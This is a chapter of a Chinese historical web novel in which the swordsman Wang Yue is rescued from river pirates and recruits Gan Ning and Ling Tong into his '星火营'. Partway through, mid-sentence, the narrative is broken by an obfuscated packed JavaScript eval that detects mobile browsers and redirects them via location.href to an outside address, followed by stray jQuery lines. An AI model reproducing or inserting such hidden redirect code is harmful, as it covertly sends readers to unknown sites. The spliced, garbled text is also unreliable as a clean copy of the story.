4. 江东俊杰,锦帆入伙
作品:《剑圣归汉——救世录01》 建安三年的暮春,长江水面上薄雾未散,粼粼波光被初升的日头染成一片碎金。王越立在船头,望着两岸飞速倒退的芦苇荡,指尖无意识地摩挲着腰间那柄伴随多年的铁剑。船身轻微晃动,带着江水特有的潮湿气息,混着舱内隐约传来的商贩交谈声,构成了一幅流动的江南水色图。
“先生,这江东水土,可比北方温润多了。”身后传来亲卫的声音,带着几分新奇。王越回头,见那名跟随自己数月的少年正望着两岸的绿意出神,嘴角噙着笑。他微微颔首,目光却掠过少年肩头,望向更远处的江面——那里水雾氤氲,仿佛藏着无数未知。
南下江东,是荀彧临行前的建议。这位尚未在朝堂上崭露头角,却已显露出经天纬地之才的谋士,在王越筹备“星火营”之初便直言:“天下纷乱,北地已为群雄逐鹿之场,粮草兵甲皆为争夺焦点。江东虽偏安一隅,然沃野千里,水路纵横,既有鱼米之利,亦多怀才之士。公欲成大事,当借江东之势,聚财货,纳贤才,以为星火之基。”
荀彧的话点醒了王越。彼时的“星火营”还只是个模糊的概念,一群散落在河内郡的流民与义士,缺粮少械,更缺能独当一面的骨干。王越虽以剑术冠绝天下,却深知单凭一人之勇难成大业。南下江东,既是为了筹集粮草、兵器等急需的物资,更是为了寻找那些被乱世埋没、却心怀壮志的豪杰。
船行已有半月,一路虽偶有波折,却也算顺遂。他们在广陵郡换了商船,伪装成行商,混在南下的商队中,既为掩人耳目,也便于打探消息。只是这长江水道,自古便是险地,不仅有风浪之险,更有水匪之患。
“先生,前面好像有些不对劲。”亲卫忽然压低声音,指向左前方的江面。
王越凝神望去,只见薄雾中隐约出现数艘快船的影子,船身狭长,速度极快,正朝着他们所在的商队斜插而来。更令人心惊的是,那些船上隐约可见手持刀枪的人影,船头还插着几面歪歪扭扭的黑旗,旗上画着骷髅图案——是水匪!
“戒备!”王越低喝一声,声音不大,却带着一股穿透人心的力量。舱内的商贩们顿时慌乱起来,有经验的船老大已经在嘶吼着让船工们加速,试图避开那些亡命之徒。
但已经晚了。那几艘匪船速度极快,转眼便逼近了商队末尾的一艘货船。只听“哐当”几声巨响,匪船上甩出的铁钩牢牢抓住了货船的船舷,数十名衣衫褴褛、面目凶悍的水匪顺着绳索攀爬而上,刀光在晨光中闪着寒芒,哭喊声、怒骂声、兵刃交击声瞬间响彻江面。
“保护货物!”王越身旁的商队护卫队长拔刀出鞘,带着十几名护卫冲了过去。但这些护卫平日里对付些小毛贼尚可,面对悍不畏死的水匪却显得力不从心。不过片刻,便已有数人中刀落水,惨叫声此起彼伏。
王越眉头紧锁。他的剑术在陆地上可斩将夺旗,可到了这摇晃不定的船上,却处处受制。脚下的木板湿滑,每一次发力都要担心船身倾斜,更遑论那些水匪在船上如履平地,动作灵活得像泥鳅。
“让开!”王越低喝一声,拔出铁剑,纵身跃到货船上。剑光一闪,如匹练横空,迎面冲来的两名水匪还没看清动作,便已惨叫着坠入江中。王越足尖点在摇晃的船板上,身形却稳如磐石,铁剑舞得密不透风,但凡靠近的水匪,非死即伤。
陆地上的王越,是令诸侯侧目的剑术宗师;可在这方寸之地的船头,他纵有千般武艺,也只能护住眼前的一片区域。水匪源源不断地从快船爬上货船,更有人绕到船尾放火,浓烟滚滚而起,呛得人睁不开眼。
“娘的,这群水匪是疯了!”护卫队长浑身是血,靠在桅杆上喘息,“他们根本不按常理来,像是饿疯了的狼!”
王越一剑逼退三名水匪,额角已见汗。他能感觉到体力在快速消耗,更要命的是,他能看到商队的另一艘船也被水匪盯上,船上载着他们好不容易筹集到的一批粮草——那是“星火营”未来数月的根基。
就在这危急关头,一阵急促的船桨声忽然从下游传来,不同于水匪快船的杂乱,那声音整齐划一,带着一股一往无前的气势。
众人循声望去,只见数艘快船破开晨雾,如离弦之箭般冲了过来。那些船帆极为惹眼,竟是用蜀锦织成的,在阳光下泛着绚烂的光泽,宛如一道道流动的彩云。船头立着数名精悍的汉子,个个手持长矛或短刀,眼神锐利如鹰。
“是锦帆贼!”不知是谁喊了一声,水匪们顿时脸色大变,攻势都缓了几分。
王越心中一动。他南下前曾听闻,江东水面上有一支极为奇特的队伍,他们不劫良善,专与水匪为敌,却又行踪不定,因船帆用锦缎装饰,被人称为“锦帆贼”。为首的是两个年轻人,一个勇猛过人,一个心思缜密,在长江水道上颇有威名。
“兴霸,左边那艘船交给你!”锦帆快船尚未靠近,一个清亮的声音便已传来,带着少年人的锐气。
“公绩放心!看我如何收拾这群杂碎!”另一个声音更为洪亮,透着一股桀骜不驯的豪气。
话音未落,那艘最前面的锦帆快船已如游鱼般穿梭到水匪船旁,船头一名身着短打、身材魁梧的青年纵身跃起,手中短刀寒光一闪,竟直接斩断了水匪船的桅杆!那青年约莫二十出头,浓眉大眼,满脸悍勇之气,正是甘宁甘兴霸。
几乎同时,另一艘锦帆快船上,一名身形稍显单薄、面容俊秀的青年则指挥着手下,用带钩的长索缠住水匪船身,动作有条不紊,正是凌统凌公绩。他并未贸然冲杀,而是先断了水匪的退路,再指挥手下弓箭手压制,显然是个心思缜密的角色。
锦帆贼的出现,瞬间扭转了战局。他们水性极佳,在船上行动自如,配合默契,对付这些散兵游勇般的水匪,简直如虎入羊群。甘宁更是勇猛无匹,短刀在他手中仿佛有了生命,每一刀都精准狠辣,转眼便砍倒了数名水匪。凌统则在另一艘船上冷静指挥,时而放箭,时而命人投掷火把,将水匪们逼得节节败退。
不过一炷香的功夫,原本嚣张的水匪便已死伤大半,剩下的纷纷跪地求饶。甘宁一脚将一名试图逃跑的水匪踹入江中,提着滴血的短刀,朗声大笑:“一群废物,也敢在长江上撒野!”
凌统示意手下清理战场,自己则跳上被劫掠的货船,目光扫过船上的狼藉,最后落在了手持铁剑、气息微喘的王越身上。他眼中闪过一丝讶异,显然是注意到了王越身上那股与众不同的气度,以及周围水匪的尸体——能在如此混乱的船上斩杀这么多敌人,绝非寻常之辈。
“多谢二位出手相救。”王越收剑入鞘,对着走过来的甘宁和凌统拱手道,“在下王越,多谢锦帆英雄援手。”
“你就是王越?”甘宁眼睛一亮,上下打量着他,“河内那位剑术宗师?”他久在江湖,自然听过王越的名号。
王越点头:“正是在下。”
“痛快!”甘宁一拍大腿,脸上露出敬佩之色,“刚才看先生出手,剑法果然了得!若不是在船上受限,这群杂碎哪用得着我们出手?”他性子直率,见王越武艺高强,又在危难中挺身而出,顿时生出好感。
凌统则要沉稳得多,他拱手还礼,语气平和:“王越先生之名,久仰。先生不在北方安身,为何会出现在这长江水道?”他目光敏锐,看出王越
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197719|181189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一行人并非普通商贩,尤其是那些亲卫,虽衣着普通,却个个眼神警惕,显然都是练家子。
王越坦然道:“实不相瞒,在下正在筹备一支队伍,名为‘星火营’,意在收拢流民,抵御乱兵,护一方安宁。此次南下,一是为筹集粮草物资,二是为寻找志同道合之士。”
“星火营?”凌统眼中闪过一丝好奇,“先生是想效仿诸侯,割据一方?”
“非也。”王越摇头,语气诚恳,“如今乱世,百姓流离,饿殍遍野。我等习武之人,若不能护佑苍生,纵有一身武艺,又有何用?‘星火’者,星星之火,可燎原也。我不求割据,只求能为这乱世,添一点微光,让更多人能活下去。”
这番话一出,不仅凌统愣住了,连性子跳脱的甘宁也沉默了。他们见惯了乱世中的尔虞我诈、争权夺利,像王越这样直言“护佑苍生”的,倒是少见。
凌统心思缜密,沉吟片刻,问道:“先生可知,此举难如登天?乱世之中,仅凭一腔热血,怕是……”
“难,便不做了吗?”王越打断他,目光灼灼地看着两人,“甘壮士身手不凡,凌壮士智计过人,麾下弟兄更是水上精锐。你们纵横长江,除暴安良,难道甘心一辈子被人称为‘贼’?难道不想做一番真正的事业,让天下人知道你们的名字,让后世记住你们的功绩?”
他顿了顿,声音提高了几分,带着一股直击人心的力量:“大丈夫生于天地间,当提三尺剑,立不世功,护国安民,流芳百世!岂能终生为盗,困于这江水之上,与宵小之辈为伍?”
“你说谁是盗?”甘宁猛地瞪起眼睛,但随即又泄了气。他们虽不劫良善,却也确实没少抢那些为富不仁的商户,“贼”这个称呼,始终是他们心头的一根刺。王越的话,像一把锤子,狠狠砸在了他的痛处,也砸在了他潜藏心底的抱负上。
凌统看着王越,又看了看身旁神色变幻的甘宁,轻声道:“先生的‘星火营’,当真能容得下我等草莽?”
“英雄不问出处。”王越语气坚定,“只要心怀苍生,愿为这乱世出一份力,便是我王越的兄弟,便是‘星火营’的基石!你们擅长水战,正好能补我星火营之短。若肯加入,江东水路之事,便由二位全权负责,如何?”
甘宁猛地抬头,眼中闪烁着激动的光芒:“先生此话当真?让我们负责水战?”
“绝无虚言。”王越伸出手,“天下大乱,正是男儿建功立业之时。二位可愿与我一道,让这‘星火’,在江东燃起第一簇火苗?”
凌统与甘宁对视一眼,都从对方眼中看到了决心。甘宁性情豪迈,最受不得激,王越那句“建功立业”正好说到了他的心坎里;凌统心思缜密,却也看出王越并非空谈之辈,其气度、武艺,以及“星火营”的理念,都让他心生向往。
“好!”甘宁率先握住王越的手,力道之大,几乎要捏碎对方的骨头,“我甘宁信你!从今日起,我锦帆弟兄,便跟着先生干了!”
凌统也上前一步,郑重拱手:“凌统,愿加入星火营,为先生效犬马之劳。”
阳光穿透薄雾,洒在三人紧握的手上,也洒在那些五彩斑斓的锦帆上。江风拂过,带着水汽与希望的气息。王越望着眼前这两位江东俊杰,心中涌起一股豪情——有了甘宁、凌统及其麾下精锐,星火营便有了水战的根基,这支尚在襁褓中的队伍,终于迈出了坚实的一步。
远处的江面,商船渐渐恢复了秩序,商贩们对着锦帆快船的方向叩拜感恩。王越知道,从这一刻起,长江水道上的“锦帆贼”将成为过去,而星火营的水战力量,正从这片江面上,正式启程。

